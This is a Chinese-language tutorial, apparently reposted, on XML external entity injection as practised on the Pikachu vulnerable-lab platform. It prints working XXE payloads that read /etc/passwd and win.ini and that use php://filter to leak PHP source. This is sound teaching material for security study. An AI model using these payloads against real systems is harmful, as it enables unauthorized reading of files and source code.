Pikachu-XXE(xml外部實體注入漏洞)


XXE -"xml external entity injection"
"xml外部實體注入漏洞"。
概括一下就是"攻擊者通過向服務器注入指定的xml實體內容,從而讓服務器按照指定的配置進行執行,導致問題"
也就是說服務端接收和解析了來自用戶端的xml數據,而又沒有做嚴格的安全控制,從而導致xml外部實體注入。

具體的關於xml實體的介紹,網絡上有很多,自己動手先查一下。
現在很多語言里面對應的解析xml的函數默認是禁止解析外部實體內容的,從而也就直接避免了這個漏洞。
PHP為例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默認是禁止解析xml外部實體內容的。

 

第一部分:XML聲明部分

<?xml version="1.0"?>

 

第二部分:文檔類型定義 DTD

<!DOCTYPE note[

<!--定義此文檔是note類型的文檔-->

<!ENTITY entity-name SYSTEM "URI/URL">

<!--外部實體聲明-->

]>

 

第三部分:文檔元素

<note>

<to>Dave</to>

<from>Tom</from>

<head>Reminder</head>

<body>You are a good man</body>

</note>

 

其中,DTDDocument Type Definition,文檔類型定義),用來為 XML 文檔定義語法約束,可以是內部申明也可以使引用外部DTD現在很多語言里面對應的解析xml的函數默認是禁止解析外部實體內容的,從而也就直接避免了這個漏洞。

內部申明DTD格式<!DOCTYPE 根元素 [元素申明]>

外部引用DTD格式<!DOCTYPE 根元素 SYSTEM "外部DTDURI">

引用公共DTD格式<!DOCTYPE 根元素 PUBLIC "DTD標識名" "公共DTDURI">

外部實體引用 Payload

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY f SYSTEM "file:///etc/passwd">

]>

<x>&f;</x>

 


 

1.PHP中有一個函數 simplexml_load_string() 將形式良好的 xml 字符串轉換為 SimpleXMLElement 對象

PHP里面解析xml用的是libxml,其在 ≥2.9.0 的版本中,默認是禁止解析xml外部實體內容的。

本章提供的案例中,為了模擬漏洞,Pikachu平台手動指定 LIBXML_NOENT 選項開啟了xml外部實體解析。

 

 

 

2先提交一個正常的 xml 數據

<?xml version = "1.0"?><!DOCTYPE note [

    <!ENTITY hacker "test">

]><name>&hacker;</name>

 

 

3.如果我們提交下面這樣的payload,就能看到服務器上的文件內容

<?xml version = "1.0"?><!DOCTYPE ANY [

    <!ENTITY f SYSTEM "file:///C://Windows//win.ini">

]><x>&f;</x>

 

 

4.嘗試php協議,打印出了base64編碼后的xxe.php頁面,

<?xml version = "1.0"?>

<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]> 

<x>&f;</x>

 

 

 


 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM